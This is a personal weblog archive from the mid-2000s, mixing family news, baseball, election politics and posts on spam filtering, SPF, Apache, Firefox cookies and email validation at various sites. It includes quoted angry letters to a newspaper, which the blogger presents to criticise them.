If you’re one of the people who reads this site in an honest-to-goodness web browser window (rather than a syndication aggregator), then you’ve probably noticed that I went and redesigned things around here. The last time I went and did that was in February of 2002, so that would explain why I’ve been feeling that my layout was a bit stale. Welcome to the 2006 version of Q Daily News… and keep your eyes peeled around mid-2010 for the next iteration!

A few notes on the design:

  • Given that the title and navigation never felt intuitive to me over in a bar along the right, I moved it all up to the top. Not really rocket science, but it certainly went a long way towards making the site feel right to me.
  • Over the past year or two, I’ve been trying to use categories when I write posts, if only to help gather similar subjects together on category pages. Of course, I never exposed any of this to viewing through the site (for reasons having more to do with laziness than difficulty), so I fixed that wrong. Likewise, I decided to make entry titles a little more prominent; they used to be visible only on each post’s individual archive page, but now they’re above each entry on the main page and on the monthly and category archive pages.
  • Over the past few years, I’ve been squirreling content away in various publicly-accessible web services (like the photo archive Flickr, and the bookmark storage site del.icio.us), something that always made me feel like I was competing with my own weblog. Rather than stop using the web services, it made more sense to me to bring that content back to QDN… so now you’ll see a few content areas in the righthand sidebar that weren’t there before, including the last three pictures I’ve uploaded to Flick, and the last five bookmarks I’ve posted to del.icio.us.
  • What you’ll see is now missing from the sidebar is a list of links (a blogroll, as it were); I found that my old link list rapidly got crusty as people shuttered their sites, moved URLs, or generally fell off the web. I’m tinkering with a few ideas about how to add it back and make it more current, so we’ll see what comes of that.
  • I used Tim Appnel’s mt-archive-dateheader plugin and a bit of PHP reprocessing to revamp the archive page. The long, thin list of links to month-by-month archives was always just on the barely-tolerable side of acceptable to me; at least displaying them within year blocks seems a bit more logical.
  • I was within micrometers of doing away with all TrackBack functionality (given that my last valid TrackBack was sent back in September), but I decided that the spam-filtering code in Movable Type 3.2 makes TrackBacks low-cost enough to keep around for a little while longer. I did tinker around with how they’re gathered and displayed on entry pages, though, which will make it easier to just abandon all TrackBack functionality if that’s what I ultimately decide.
rach and syd

Hi Rachie! (In the picture to the right, that’s Rach, with her daughter Syd.)

So, here’s a funny little story. My little sister Rachel came to town last night, not to visit Shannon and me (completely understandable, since we spent all of the past two weekends with her!), but rather to see one of her best friend’s new baby. Apparently, she randomly ran into one of my oldest friends — the one who passed my apartment onto me here in Brookline — in the Prudential Mall today, and while they were chatting, he made an offhand reference to Q Daily News. And therein lies the bit of hilarity… because before that mention, the only people in my immediate family who knew about this site were my brother and his wife. So of course, that conversation led Rachel to Google and then to here — and then to a phone call from my brother telling me that I’d been outed. And as it so happens, my entire family not only lives in NYC but was hanging out in Rachel’s apartment when she got back to the city this evening, so they’re all in on the gig. Which means that my earlier greetings need to be expanded: hi everybody!

(In all honesty, there’s no huge reason for the secrecy. When I started things here back in 1999, I’m not even sure that most of my family regularly checked their email, but I was more sure that they’d think a weblog was a bit weird. As time went on, it became a little bit of a challenge to see when they’d all find the site; my brother came knocking back in 2001, and I’ve always had a suspicion that my Google-loving parents have known for a little while. But now it’s all out in the open!)

Thanks, Steve; as predicted, my copyright notice (at the bottom of the right-hand content bar) was yet another that was rooted in 2004. All fixed!

I’m not a National Geographic subscriber, which means that I’m going to have to swing by the library over the next week or two — the feature article on creation vs. evolution this month looks like it’ll be a great read. (Of course, I can’t deny the added appeal in the issue’s cover text asking “Was Darwin wrong?”, and the pullquote on the first-page of the feature answering “NO. The evidence for evolution is overwhelming.”)

I’m not sure why I’m so intrigued by Google’s acquisition of satellite image provider Keyhole, but I am. Perhaps it’s because it’s one more sign that Google generally operates at the very edge of the search space, looking for ways to push those edges outward; perhaps it’s because it’s another huge data set that I’m sure hasn’t been sufficiently examined. Or perhaps it’s for one of the dozens of other reasons related to information mining, the places where wildly dissimilar data sets meet, and all the cool tools that Google’s made to date. In any event, I’m anxious to see what comes of it.

My hospital distributed PocketPCs to a group of clinicians a little bit ago, me included, and I’ve spent the past week playing around with the new toy. The platform that was standardized on is the HP iPaq hx4700, in a large part because of its built-in WiFi, and that means that in most places in the hospital, I’m able to get online. Of course, because I’m such a geek, that means that any time I get bored I find myself surfing the web. I usually end up crawling around the various sites that specialize in PocketPC-related topics, and one thing that I’ve been pretty amazed by is how many of those sites don’t do jack shit to make their pages display well on the platform. In fact, most of them don’t serve anything different to PocketPC browsers, meaning that I usually spend about a half a minute trying to find the place on the page that has content, another minute or so figuring out where the navigation elements are, and then about a microsecond giving up and hitting the back button. It’s am interesting case study in not knowing your audience, and as a result, providing a substandard experience.

After being deluged this morning with news about the changes coming Thursday to U.S. check cashing laws, I did a little bit of surfing around to see what I should know. Pretty much every single resource I found said that the most important thing that consumers should understand about the changes is that you should assume that the physical, actual check that you write completely ceases to exist at the moment that it is cashed. (This is because banks will now scan checks at the point of deposit, and then process them entirely from the information in the scan.) And this means that if a bank makes a mistake processing a check — say, they cash a $100 check for $1,000 instead — it will be somewhat harder for the person who wrote the check to prove that an error occurred. The new law anticipated this, and has a remedy: substitute checks. These are images of your checks which adhere to specific standards, and carry the same legal weight as the original check; the kicker is that many of those little images of your checks that you get with your statements don’t meet the standards of substitute checks, so you need to make sure that you specifically request “substitute checks” from your bank.

This is all confusing enough that, not surprisingly, I called my bank tonight to ask that all my statements contain the substitute checks and the representative had no clue what I was talking about. She put me on hold for about five minutes, and then came back to tell me that her supervisor said all accounts will have them on the statements, but I was less than reassured. I’ll make a mental note to call back in a few days, and see if the relevant information has filtered down.

Two long pieces that are worth the time it’ll take you to read: Tim Golden’s New York Times article, “After Terror, a Secret Rewriting of Military Law”, and Malcolm Gladwell’s New Yorker article, “High Prices”. The former is an in-depth look at how, in the post-9/11 environment, the Bush Administration went about the secretive process of rewriting a slew of laws and rules to allow the unfettered detainment and civil abuse of anyone that it decided was a terrorist, and is one of the few written pieces that has made me understand just how unimportant civil rights have become under our current President’s leadership. The latter is a well-researched, impeccably-detailed trip through the problems that surround drug prices, pharmaceutical research, and physician behavior in this country; it’s really the piece that I wish I could have written nearly two years ago.

Interesting — it appears that eBay filters the email addresses that people use in their registrations, and somehow decides which it will allow and which it won’t.

For the past three or four weeks, I’ve been dutifully going through all my website registrations and changing the email addresses associated with them to new ones, all at the domain MASSHOLE.US (which I registered a few months ago). I generally haven’t had a problem; sites from Amazon to TypePad have accepted the new email addresses without issue, and the wholesale change has let me make a few changes to my email system that has decreased the amount of spam in my inbox. But eBay has not been as accepting; each time, I get an email to the old inbox saying that I submitted a change request and telling me to expect an email in the inbox of the new address which contains a confirmation code, but I never ever receive that promised confirmation email.

The first two times I tried the change, I figured that their system was just temporarily broken, and that I would be able to try again at some later time without problem. When it didn’t work a third time, I contacted their customer service via email (using the support pages that they provide), but a week later had not received any reply whatsoever. I then tried to make the email address change a fourth time, failed to get the promised confirmation email, and tried contacting their customer service again, but similarly never got a reply. That kind of rookie behavior pissed me off a bit, but I assumed that I’d eventually get some kind of response. Alas, tonight made two weeks of complete eBay silence.

On a lark, I just decideded to try to change my email address to one on my normal domain, QUESO.COM — and lo and behold, the confirmation email arrived instantly! I then tried again to use the MASSHOLE.US address, and still haven’t received any confirmation email. I can only assume that the difference in the two behaviors is rooted in the fact that MASSHOLE.US contains an objectionable word… but the fact that their system fails silently in its rejection, leaving me completely in the dark as to whether this is actually the case, is unbelievably frustrating. Of course, in the end, I don’t know which is worse: the way that the system is set up, or the nonexistent customer service that exists to support that system.

Shannon and I watched Nine Innings from Ground Zero today, and liked it a lot. Granted, it helps that we’re Yankees fans — the documentary uses the resurgence of the Yankees during the 2001 Playoffs as the centerpiece of the story, so it’s obvious how it would appeal to the fans in us. But it’s also a nice look at how the Yankees and Mets played a role in New York City’s healing, and easily brought tears to our eyes about a dozen times. If you get HBO, it’s probably worth a view.

Jesus, our election system is so damn broken. So let me get this straight — Republicans are allowed to pass an amendment banning the use of federal funds to pay independent United Nations elections monitors, and then use $360,000 of political money to pay partisans who are supposed to make sure that everything is up to snuff? Can there be any less of a doubt why there was a loud call for international monitoring this year?

As Rafe finds himself wondering what motivates people to consider reelecting President Bush, he should meander over to the website of the Lone Star Iconoclast (the Crawford, TX hometown paper) and read some of the letters to the editor that were received after the paper’s endorsement of John Kerry. Some choice clips (all spelling and grammar courtesy of the original authors):

It sounds like you’ve gotten on the “Flip/Flop” bandwagon and I sincerely hope that ALL Texans will ban your newspaper. Anyone that would speak of a sitting President of the United States as you have and all the rest of the liberal press have should be banned.

If Kerry wins, it will because the American public has been inadequately informed. In the Bible it is recorded that in Hosea’s time, the “people are destroyed for lack of knowledge”. (Hosea 4:6) It is no different today. The Bible also says, “A double minded man is unstable in all his ways.” (James 1:8) Ignorance destroying a people is not brain science. As far as Kerry being “unstable”, that can be explained in secular terms such as schizophrenic or pathological liar.

Your options listed in your iconoclast article regarding President Bush are nothing more than fabricated lies that are extremer left-winged liberal hatred.

You should be ashamed of what you printed about President Bush. I for one, hope you fold for this stupid article. You really gave Kerry a lot of fodder for his smear campaign. You must be a room mate of Bill Burket at the local insane asylum. My God people, this is your President, your neighbor. Are you trying to have your 15 minutes of fame at President Bush’s expense?

I wish I lived in your city so I could cancel my subscription and boycott anyone who advertised in your paper. To be this stupid You deserve your candidate Kerry.

Your reporting is biased and childish and you rant and rave like a renegade who can’t quite find the cause that he is seeking, so you make things up as you go. I will be glad when one day soon, I try to pull up this website and I find that you are no longer in business. I must ask. Are you redneck or stupid, or both? I have to guess that you must be both, because either one alone would not be quite enough to pull off a moronic blunder such as you have. As many, many thousands of others, I am thoroughly disgusted and appalled. Proud to be a supporter of the greatest president this country has ever seen, George W. Bush.

And, my personal favorite:

You have just made fools of yourselves. With the moron you put on msnbc.. Notice the old barn in the back ground. You could probably get a better spokes person there! Lets see how far your ratings go down. Your gonna indorse a candidate that waived a vietnamiese flag in public and went against his own fellow servicemen, and can’t tell the same story twice the same way. You have just lost major credability,, Not just state wide but nation wide.. I would be looking for a good bankruptcy lawyer.. Your gonna need it! You need to change your web site for home of George Bush to traitor of George Bush! Mr. Smith go fit yourself for a turbin, because if your candidate wins we will all have to wear one and learn arabic..

It’s not hard to see where at least these people are coming from…

Well, wasn’t that game seven less than fun. I’m happy for the Sox that they’re in the World Series (and finally have the chance to avenge the infamous E3 in 1986!), but it pains me that they went through the Yanks — outright embarrassing them with a first-time-ever four straight postseason wins — to get there.

Good luck, Red Sox!

Yep, I want the Yankees to win; yep, I’ve been crushed by the last three nights of my beloved Yankees forgetting that they have, you know, bats in their hands that are capable of, whaddyacallit, hitting the baseball. More than anything, though, I’m excited that, after the game tonight, this series will come to an end. Three straight nights of white knuckles and minimal sleep, and I’m pretty much toasted. You’d think that being on what felt like permanent call to the hospital last year would have prepared me for this paltry few-day stretch of baseball, but somehow, it didn’t.

Oh, and I couldn’t agree more — mama mia, did the fans at last night’s game reflect poorly on the Yanks. I’d hope that some time was spent by stadium officials today looking at video footage, and that there will be a few people turned away at the gates tonight…

In the past five weeks, my email scanning log shows the following statistics:

  • Total incoming emails: 40,128;
  • Number of those emails which were not spam: 1,386 (3.4%);
  • Number of those emails which were spam: 38,742 (96.6%).

In addition, about 100 emails have slipped through the cracks in that time period (they weren’t caught by SpamAssassin for whatever reason), which means that that percentage increases to 96.8%. I’m in the middle of modifying things with my mail system that should decrease that number massively; right now, for a variety of reasons, I receive email sent to any address at queso.com, and that’s the main reason why I get so much spam. I’m fixing all those reasons, though, so I expect to see a bigtime reduction in the next few weeks.

For those of you who are also watching the ALCS matchup between the Yankees and Red Sox: the infield fly rule. Who knew you could learn something new during about the rules of baseball during a playoff series?

I’m rarely one to hawk affiliate deals, but I got an email from Dell tonight that has a few offers in it I’d imagine might be exactly what some people are looking for. Here they are, for those who’re interested:

  • Take 30% off of any Inspiron laptop priced at $1,299 and above; enter coupon code “NKDP1HNP271J00” at checkout.
  • Get a 2.8 GHz Pentium 4 system with 512 Mb memory, double-bay CD drives, and a 15” flat panel display for $499; click on this link or put in eValue code “1-D24BSDU”. And then, use coupon code “FMRRQRTFFK2LV0” at checkout to get an additional $70 off!

Both of these offers end on 10/18 at 5:59 Central time.

In an effort to stem the flow of spam to the addresses I use for domain name registration, I decided today to set up a new mail account for all my registrations, use sendmail’s plussed users feature (also here) to be able to give each registrar a different email address, and then put a set of tweaked spam filters on that account. I started going through all the registrars I’ve used, and successfully changed my email address with four of them. When I got to GoDaddy, though, the interface would not accept the new email address, and after talking to them on the phone, it turns out that their system does not accept plus signs in addresses. The technical rep didn’t know why this restriction exists, and his supervisor said that there’s no changing it.

It’s an odd decision on their part, given that the plus sign totally valid according to the RFC which governs such things; it’s as if they also decided that their system wouldn’t accept registrations for domain names with the letter “z” in them. And given that sendmail is the most used mail transport agent in the world, it’s hard to see why GoDaddy would enforce a restriction that actually has a specific function in the application, but whatever. All in all, it’s funny for a company which exists to support the internet standard of DNS to be so clueless when it comes to another internet standard, email.

I had an odd Linux crash this morning that I just don’t understand. I got a call from Shannon saying that the webserver wasn’t responding; I tried to ping it, and it didn’t respond. In fact, no services (web, mail, FTP, ssh) were responding, so I walked over to the machine, and while it was running (I could hear the fan spinning, and the lights on the front were lit), I couldn’t get anything at all on the monitor. I ended up having to hit the reset button, after which it came back up just fine.

Looking through the logs, there is truly no clue as to what happened. The main log (/var/log/messages) shows that the IMAP server processed its databases successfully, and then the next entry is from almost six hours later, when I reset the machine. Every other log — mail, cron, security, webserver — shows the same thing: entries up until around 3:02 AM, and then silence for nearly six hours, until the machine is restarted.

This machine has been running fine for a while now — I’ve had eight-month stretches without reboots — but in the past three or four weeks, I’ve started installing all the services that will allow it to become my primary web and mail server. Maybe one of them took it down; without log information, it’s hard to know, though. I’ve started to do a dump of the memory state every five minutes or so… maybe that’ll give me some insight into what happened. Any other ideas?

ESPN’s Sports Guy, Bill Simmons, is the kind of funny that leaves me laughing hysterically, in tears, gasping for breath.

A few notes on some things that have crossed my screen in the last 24 hours:

Now, for a night of awesome competition (Yankees vs. Red Sox, Kerry vs. Bush)!

This and this make me want to vomit. I’m happy to see that both stories were broken by local news affiliates; I’m also happy to see that, in both cases, the whistleblower was able to bring shreds of the torn-up forms to the relevant elections supervisors who confirmed that the voters had never been added to the rolls. (Of course, thanks go out to Josh Marshall, both for these links and for the great work he’s doing ferreting out stories like this.)

Little bit of a power outage this morning here at Chez Queso, meaning that this site and a few others were silenced for a bit. We seem to be back now; hopefully, the lifegiving juice will continue to flow!

Since I’m completely incapable of watching Presidential debates on television (and hell, there’s a baseball game on!), I’m instead enjoying the hell out of Paul Begala’s live debate weblog over at CNN. So far, my favorite:

Bush just said: “I hear there’s rumors on the Internets.” Is there some secret second Internet I don’t know about? Perhaps that’s where Bush gets the information that tells him things are so peachy in Iraq and the economy’s strong. He’s living in his own Private Idaho, apparently reading things on his own private Internet.

In the wedding planning process, it’s right about now that you realize that if just one more facility uses the phrase “Where dreams come true!”, you’re going to throw up. Let’s get this straight, people: the only way a location will make any engaged couple’s dreams come true is if it’s free, beautiful, comes with all the alcohol people can drink, has no limits on catering, music, or hours, and has a 42” plasma screen television and DVD player to keep the kiddos occupied while their moms and dads celebrate.

I’m finishing off a project I’ve been working on for my old hospital, and find myself evaluating rich HTML text editors — those little dealieboppers that let someone enter text into a web page and make it bold, underlined, in list format, whatever. (Given my druthers, I wouldn’t integrate one into the project since I’m much more comfortable coding text formatting by hand, but the intended users of the app want and need to be able to use the button-based editing interface.) I’ve come across a few, and am interested in any opinions people have as to benefits or drawbacks of any one of them (or any others that they might have seen while meandering the web).

The few that I’ve played with, either by downloading and installing or using an online demo, are: Kevin Roth’s Cross-Browser Rich Text Editor, Editlet, pinEdit, TwistText Rich Text Editor, and Elktron’s eWebEditPro. Out of those five, the first is the clear victor — it’s free, works in most browsers (not Safari, oddly), has no license that limits use, puts out decent code, and is easy to integrate into a project. The rest of them either cost a bundle, try to do way too much, or don’t work in some of the large-share browsers, making it hard to see how they would actually add to the application.

Opinions?

God, that Yankees game was a nailbiter. What poetic justice that the Twins were robbed of an assured run by a ground-rule double in the 8th… and then the Yankees were equally robbed by a ground-rule double in the bottom of the 11th. There’s nothing to bitch about, just solid baseball and a squeaker of a finish!

And now that I’m done with my Thunderbird playtime, I think I’ll take a week or two to kick the tires of three new (or new to me, at least!) apps that I hope will find a place in my programming setup: Smultron, TextMate, and VoodooPad Lite. The first two are geared to be hardcore text editors for programmers — syntax coloring, code libraries, and the like — and the third is more of a notepad to help keep track of all the information that doesn’t make it into the code. They all look cool, so I think it’ll be fun to see what they can do!

I’ve been playing with Thunderbird on my Powerbook for about two weeks now, and I have to say I’m generally underwhelmed. My biggest issues:

  1. Frequently, Thunderbird manages to show me a message in the mailbox list, but not let me actually see the message. For example, I currently have twelve messages in one of my folders, and while I can see the list entry for all of them, when I click on a specific one of them, the preview window is empty (well, save for the header information from the message that I was reading prior to clicking on it). Likewise, double-clicking that entry brings up a blank message window, and going to View/Message Source brings up a blank window, as well. And there’s nothing I can do about this — there’s no command to refresh the mailbox. Annoyingly, when it’s a message I really care about reading, I actually have to delete and recreate my entire mail account, then re-enter all the settings, and finally open the folder and read it. That all seems a bit much.
  2. There seem to be major problems with offline mode. I have a filter on my mail server that puts all my mailing lists into a specific folder, so that they stay out of my face when I’m busy but are easily perused when I get a few free minutes. Since those free minutes tend to pop up when I’m disconnected from a network, I have Thunderbird set up to download all the messages in the lists folder when I tell it to go offline. Alas, it seems that the program randomly chooses which messages to download, and as a result, I’m frequently left with half of them being unavailable, and no network connection to remedy the situation.
  3. If you add the previous and next buttons to the toolbar, they use the behavior that views the previous and next unread message, to much annoyance. This means that, instead of sending me to the next message in my inbox, Thunderbird frequently sends me to some message that was filed in one of my 150+ mail folders. The Go menu has entries for both options — read the next/previous unread message, and read the next/previous message of any type — so I know that Thunderbird knows how to behave correctly; the binding of the unread-specific functions to the buttons doesn’t make a lot of sense.

That’s what I have so far… I’m sure that Thunderbird will mature a lot in the move from 0.8 to 1.0, but until it does, it’s not the mail client for me.

si dailies, atlanta 1996

It makes me happy to have finally gotten off my ass, found good mylar sleeves, and packaged up all my copies of Sports Illustrated’s daily 1996 Olympic magazine. I ended up having two complete sets, and as many as seven or eight of some issues; now, they’ll all go into storage to give to my kids some day. (And, of course, there’s that magazine issue in the lower right hand corner, which makes me very happy to own!)

I’m not quite sure how I missed Typographica’s thread from November on the best font for programming, but I did. There are a slew of great suggestions in there, including Mark Simonson’s Anonymous, Bitstream’s Vera Sans Mono (screenshot here), and Lucas de Groot’s TheSansMono. I’m always looking for something that’d be easier on the eyes… time to play a bit!

I just realized that I forgot to post the requisite how-long-did-it-finally-last update for my iPod. So, the answer is 7 hours and 50 minutes. I still don’t understand, but have decided to just go with the flow. I’ll hang onto the replacement battery, but not install it until this battery tanks again. (By my estimate, that should be between a few days and a few weeks from now!)

SpamAssassin 3.0 is out! Notable in this release is the inclusion of a check against the Spam URI realtime blocklists (a huge help in the fight against spam), use of Sender Policy Framework tests (a huge help in the fight against fraudulent return address information), better integration with databases for storage of preferences and filter information, and a move into the Apache Software Foundation. If you run a mail server, you’d be doing yourself and your users a favor by hopping over and grabbing it.

And now, for an update to last night’s iPod story:

After 2 hours, and a battery indicator that flickered between two and three bars of remaining life, I decided to plug the damn thing into the charger and go to sleep. This morning, at 8:57 AM, I unplugged it, hit play, threw it into my backpack, and came into work. Right now, it’s four hours and 13 minutes later, it’s still playing, and the battery indicator is still showing four bars of power left. And I’m truly, completely baffled.

Remember — the only thing I’ve done is taken the back off of the iPod! Is it possible that the battery life can somehow be affected by whether or not the back is attached? I don’t see anywhere obvious that the battery could be shorting against the aluminum; what else could I be missing?

This is just freakish, and as sure as I am that I can’t explain what’s happened to the battery, I’m equally sure that the moment I decide that maybe I don’t need the new one and send it back, the seven-minute lifespan will return.

I don’t understand my iPod.

I have a first-generation, 10 gigabyte iPod, and over the past year, the battery life has been getting worse and worse. I decided to pretty much give up on it as a portable device about two months ago, when I disconnected it from the charger (into which it had been plugged for the prior 10 hours), started walking to work, and seven minutes later, it died with a low-battery warning. At that point, Shannon and I bought a cigarette-lighter power cord for it and relegated the device to a road-trip role in our lives.

Earlier this week, I happened upon a posting about an affordable extended-life replacement for the battery (I’d love to give the author credit by name, but he or she doesn’t really make a name accessible anywhere obvious!), and after a little hemming and hawing, I decided to give it a shot. I placed the order yesterday.

Given that, of course today was the day that Anil decided to email me a link claiming that all you need to do is open the iPod up, disconnect the battery, and reconnect it, and like magic, the battery’s long life would be restored. I cursed a bit, knowing that my replacement is about 10 hours away from delivery to my doorstep, but tonight I decided that it couldn’t hurt to give the unplug/replug method a try. I opened the little guy up (not as easy as I’d thought it would be!), but then realized that I hadn’t turned the iPod on to see what the current battery state was. I’m a scientist, after all; what kind of scientist would I be without data from both before and after the battery disconnection? So I powered the iPod up.

And therein lies the second surprise of the day. It’s now been almost three weeks since we’ve used the iPod — that was our last roadtrip — and since then, the device has been sitting in a drawer. Under normal circumstances, that would mean I could expect about three or four minutes before power-off… but of course, today doesn’t seem to be normal. It’s now been 75 minutes since I hit play, and the battery indicator shows three bars remaining.

No, really — I don’t understand.

I see that now, our country has upped the ante, moving from shitting on people’s basic rights to trying to prevent the Supreme Court from defending people’s basic rights. Americans can complain all they want about the downward trajectory this place is on, but when push comes to shove, all these policymakers were either elected by us or appointed (and approved) by the people we elected. And if we continue to elect and approve asshats who’d rather pillage the Constitution than read it — or worse, not vote, and let others choose our fate for us — then we’re to blame.

Wow, jetlag sucks. My brain thinks it’s 4:30 AM right now, and my coordination seems to be following suit.

From San Fran, a few skyline images from the Maritime National Park:

san fran skyline
skyline across the bay from san fran

Shannon and I escaped to San Francisco for the next few days; we had an eventless flight out here (thank God for inexpensive, direct mid-week flights from Boston to San Fran, curse God for out-of-control kids and their “I want my kids to think I’m cool, so I’m not going to discipline them” parents sitting near us on said flight), and collapsed in a heap last night when we realized that, in our brains, it was actually past 3AM.

Today, Fisherman’s Wharf, the Golden Gate, and whatever else we can find to enjoy this beautiful weather! And with the clouds and rain that’s in the forecast for Boston, it looks like we hopped over to the Left Coast just in time…

It seems that, with today’s appearance of Mozilla Firefox Preview Release 1, we have the first general-availability build of Firefox that integrates the fix for the annoying-as-hell cookie problem. (For those who don’t remember, or are too busy to click through that link, the problem is that most Mozilla browsers limit you to a certain number of cookies before they start deleting them, meaning that you end up having to log back into your bank sites, news sites, and whatnot on a seemingly-random basis.)

There’s an important note about that fix, though: without doing a few manual config changes, you’ll only see a marginal improvement. The old Mozilla way of doing cookies was that you were limited to a total of 300, and this fix increases that number to 1000, a number that should get you a few more days’ worth of browsing before your website logins start expiring. That being said, the official specification states that “cookie support should have no fixed limits,” and that browsers “should strive to store as many frequently-used cookies as possible.” A way to approximate that behavior would be to increase the maximum number of cookies to the highest the pref allows (network.cookie.maxNumber, 65535); this should change the behavior back to that which you’d expect from cookies. (If you don’t know how to increase it, take a look at the MozillaZine guide to the about:config window.) I’m not sure how Firefox will handle the increased number, stability-wise — for all I know, the limit was there because the cookie-handling code isn’t comfortable dealing with more than a thousand — but I can tell you that not having to dig my wallet out to find my bank card number every week will make me a lot less annoyed.

Looking at my last three posts — damn, am I a geek. I need to get out more… :)

This morning, I awoke to an email from El Oso telling me that the link to my archive list was broken; sure enough, it was, and that was totally confusing to me, seeing as I had made no recent changes to the structure of my site. It bugged me the whole way to work, and despite being in clinic all day, between patients I kept sneaking a peek at the relevant bits of code to see if I could figure out the problem. I wasn’t able to find anything overwhelmingly wrong, though, other than the fact that the the archive index page was just plain horked.

After clinic, I dug in a bit deeper, and finally found a post over at WebmasterWorld that seemed to describe the problem I was seeing — and happily, it made it seem like the problem was a bug in Apache (and specifically, the version of Apache to which I upgraded two weeks ago), rather than some dumbassed configuration error on my part. I came home and put together a test case that reproduced the behavior I was seeing, and then submitted it to the maintainers of Apache as a bug. We’ll see what comes of it; in the mean time, I threw together a workaround so that my archives can shine once again!

(And of course, if there are any Apache wizards reading this, feel free to take a look at the test case and point out where my understanding of mod_rewrite and mod_dir completely sucks; while I feel that there’s likely to be a bug here, I also recognize that there’s just as likely to be an idiot with a poor understanding of Apache on this side of the keyboard.)

In doing some email maintenance today, I noticed that American Airlines didn’t have my current address information. I meandered over to their website to update it, and after submitting my changes, I got an error saying that they were unable to validate my apartment number. I tried everything I could to get it to accept my full address, but alas, the only success I found was when I submitted my address without an apartment number. At that point, I noticed that despite me entering a 5-digit ZIP code, the confirmation page contained a ZIP+4. That means that they do some sort of back-end processing of the address to generate the nine-digit ZIP code; from the error I got with the inclusion of an apartment number, I assume that the back-end also includes some sort of verification that my address actually exists in a big property database, and that that database doesn’t recognize the fact that my building is divided into apartments. As a result of that deficiency, their database contains an incomplete address for me, which benefits nobody at all. This all highlights the fact that, if you’re designing a web-based application and testing the data that people enter, you need to make sure that that test achieves its goal of providing better data without also setting up situations wherein the data becomes worse. That means one of two things: either your test needs to be 100% reliable, or you need to provide a method for people to clarify their entry when the test fails. And since the first option is nearly impossible to achieve, you’ll find that the second option is way more important.

It makes me sad when ostensibly tech-savvy writers completely miss the point of a technology they’re covering.

MX Logic, a company that provides both products and services touted to increase email protection and security, released a report this week that says that email spammers are now using the Sender Policy Framework in an effort to “dodge both legal and industry-backed efforts to curb spam.” A few news outlets — Information Week, CNet News, The Inquirer — all picked up the report and ran with it, implying that the SPF standard is more or less a failure at what it was designed to achieve.

What’s the problem? It’s that SPF wasn’t designed to eliminate spam! The standard exists so that when you receive a piece of email from a certain return address, your mail program can check to see whether or not that address is a forgery or the real deal. As a result, the goal of SPF isn’t to eliminate spam, it’s to implement trust — you are better able to trust that the email you receive is from who it says it’s from. A quote from the official how-it-works page sums it up nicely:

SPF aims to prevent spammers from ruining other people’s reputations. If they want to send spam, they should at least do it under their own name. And as a user, SPF can help you sort the good from the bad. Reject mail that fails an SPF check. Use it to help your spam filters make a decision. Have confidence that mail that SAYS it’s coming from your bank, your credit card company, or the government really is!

As for that latter bit — helping filters make decisions about the likelihood of an email being spam — the key is in the implementation. And while I can’t speak about all spam filters, I can say that the filter I use, SpamAssassin, does the right thing. If an email fails the SPF test (indicating a forgery of the return address), then SpamAssassin considers it more likely to be spam. But on the other hand, if an email passes the SPF test (indicating that the return address is likely to be legitimate), SpamAssassin doesn’t add or subtract anything from the likelihood of it being spam — it’s a wash.

And now, for the important bit, and the bit being left out by the news coverage: when spammers use SPF to try to increase their legitimacy, all they do is verify that the site they’re using to send their junk is real. That means that those fighting against spam (filter authors, lawmakers, whoever) are then able to take action against that site without fear that they’re netting an innocent bystander, and that’s a good thing for everyone.

Oh, yeah, and one more thing the press neglected to mention: the report that forms the basis of the news was issued by a company which sells spam filters. The more doubt they can plant in the effectiveness of other solutions, the more business they can drum up for themselves… seems like a fine reason to shout loudly that SPF isn’t working, but also doesn’t make it any more true.

Seriously, How to Pick Up and Carry Your iMac G5 might be the dumbest technical note I’ve ever seen published by a computer manufacturer. Are they really saying that someone might be slow enough to be unable to figure out how to carry a computer, but would be quick enough to figure out how to use the Apple knowledge base to pose the question? It boggles the mind.

This morning, while perusing all the postings my aggregator gobbled up overnight, I noticed that a bunch of people posted links to VoteOrNot.com, specifically affiliate links. VoteOrNot.com appears to be a sweepstakes being run by the guys from HotOrNot.com, allowing people to register to vote in the November election and aiming to give $100,000 to one person who registers through the site. They’re also going to give $100,000 to the person who refers the eventual winner, hence the affiliate links from everyone.

I figured that it would be a no-brainer to go over and sign up; while I’m registered to vote, I’m not averse to winning money by encouraging others to do so. Then I took a look at the signup form, though, and started thinking twice about the whole deal. They ask for my email address, physical address, and phone number, and make sure to have a statement above the form saying that they only need it to contact me if I win (sounds good). But then they ask me to agree to their Terms & Conditions, which says that by registering for the site, I “may sign up to receive email from Eight Days, Inc. (Sponsor),” and that I “can remove [myself] from the email list by following onscreen instructions” (sounds a bit more suspicious). And then came the kicker: under the personal information section of the T&C, I’m referred to the Eight Days, Inc. Privacy Policy, “available at Sponsor’s web site, http://HOTorNOT.com,” but going to that site, there’s no privacy policy anywhere to be seen or found. Even a Google search turns up nothing.

And that’s the ball game; they ain’t getting my personal information. You’d figure that a site that’s trying to encourage people to get out and exercise their civic duty would exercise a bit of its own…

Update: After an email interchange with James Hong, one of the founders of HotOrNot and VoteOrNot, a privacy policy is now in place at VoteOrNot that seems strong enough to make someone feel comfortable giving up personal info. James also let me know where to find the policy on the HotOrNot site — it’s in the tiny little scroll box on the page that lets you submit a picture for rating. Seems odd to hide it like that, but then again, it does say that they will “provide this personal information to third-party service providers who help us maintain our Service and deliver information and services to you and other users of our Service.”

giant cutter-thingy

No, really, this is the coolest machine I think I’ve ever seen. I really, really have to know what it’s used for (well, other than the obvious cutting-like things).

Update: Rafe, ever the diligent researcher, passed on this link showing that the behemoth is actually an excavator, and this Jamie Zawinski discussion thread in which someone linked to a Lego version of the thing. Awesome!

I’m in the midst of moving this site to another server; if you can see this message, you’re seeing the new site! Things should settle out in the next 24-36 hours, at which point I’ll start playing around with a bunch of the new Movable Type 3.1 stuff.

She said yes!

pretty ring on a beautiful girl

(And to preemptively answer the two questions that were the first out of everyone else’s mouths: we don’t know where, and we haven’t firmed up when. We’re just enjoying the moment for a little bit!)

Hmmm — I wonder what would happen if some random New Yorkers showed up on the grass in the backyard of 1 Sutton Place with beach chairs and books, and just soaked up the sun for an afternoon? I bet that a uniformed doorman-like functionary or two would come and try to escort them off the property, but if said group of people refused and demanded that the police come arbitrate, it seems that it’d be hard for 1 Sutton Place to make a compelling case. I’m just saying…

I promised a few people that I’d summarize my experience with DropCash, and after the (astoundingly short) 13-hour duration of my campaign, I’ve grabbed the information from PayPal and done a few calculations. Here’s my rundown.

